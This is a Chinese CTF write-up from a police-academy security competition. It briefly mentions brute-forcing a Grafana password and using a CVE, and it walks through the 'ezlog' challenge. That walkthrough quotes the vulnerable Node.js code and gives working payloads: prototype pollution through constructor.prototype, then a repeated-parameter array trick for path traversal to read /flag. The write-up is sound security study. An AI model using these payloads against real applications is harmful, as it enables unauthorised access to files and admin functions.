第四届黄河流域公安院校网络安全技能挑战赛

本文最后更新于 2026年6月12日 晚上

黄河流域和智警杯时间重了,回来之后复现的

real_Grafana

和第三次纳新一样,爆破密码然后打CVE

real_Grafana

ezlog

主要就是两个接口,一个可以nodejs原型链污染,一个可以查看文件但是需要管理员权限

先看看管理员的校验逻辑

1
2
3
4
5
6
7
8
9
10
11
const ADMIN_NAME = "CTF-ADMIN";
const ADMIN_NONCE = "t0mcater" + generateSecureRandomNumber();

let adminconfig = {
name: ADMIN_NAME
};
Object.prototype.nonce = ADMIN_NONCE;

function isAdmin(name, nonce) {
return name === adminconfig.name && nonce === Object.prototype.nonce;
}

校验了两个变量,再看看递归合并函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('????');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

app.post('/api/pollute', (req, res) => {
let userconfig = req.body;
try {
merge(adminconfig, userconfig, res);
res.json({
status: "success",
msg: "pollute success!!!",
});
} catch (e) {
res.status(500).json({ status: "error", message: "wtf?" });
}
});

禁用了__proto__,我们可以走constructor,考虑到是公共靶机,保险起见顺手把name也污染了

1
{"name": "hacker"}
1
{"constructor":{"prototype":{"nonce":"pwned"}}}

下面我们看看怎么读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const allowedFile = (file) => {
const lastDot = file.lastIndexOf('.');
if (lastDot === -1) return false;
const format = file.slice(lastDot + 1);
return format == 'log';
};

app.post('/api/checkfile', async (req, res, next) => {
try {
if (isAdmin(req.body.name, req.body.nonce)) {
let file = req.query.file;
console.log(file);
if (!file) {
return res.send('File name not specified.');
}
if (!allowedFile(file)) {
return res.send('File type not allowed.');
}
try {
if (file.includes(' ') || file.includes('/') || file.includes('..')) {
return res.send('Invalid filename!');
}
} catch (err) {
return res.send('An error occured!');
}

if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
fs.readFile(returned, (err) => {
if (err) {
return res.send('An error occured!');
}
res.sendFile(returned);
});
} else {
return res.status(403).send('Sorry Only privileged Admin can check the file.');
}
} catch (err) {
return next(err);
}
});

这里校验了文件后缀名,进行了长度截取

注意:file.slice对数组也有效而对file参数进行多次传参可以产生数组!!!

1
/api/checkfile?file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=%2F..%2F..%2Fflag&file=.&file=log

传参得到

1
['a','a','a','a','a','a','a','a','a','/../../flag','.','log']

完美通过后缀校验,长度截取直接截掉后缀名

1
['a','a','a','a','a','a','a','a','a','/../../flag']

我们看path.resolve('./' + file);

这里file是一个数组,会进行toString操作,变成./a,a,a,a,a,a,a,a,a,/../../flag,直接目录穿越,读到flag

喵喵宠物医院


第四届黄河流域公安院校网络安全技能挑战赛
https://www.sunynov.top/2026/06/10/第四届黄河流域公安院校网络安全技能挑战赛/
作者
suny
发布于
2026年6月10日
许可协议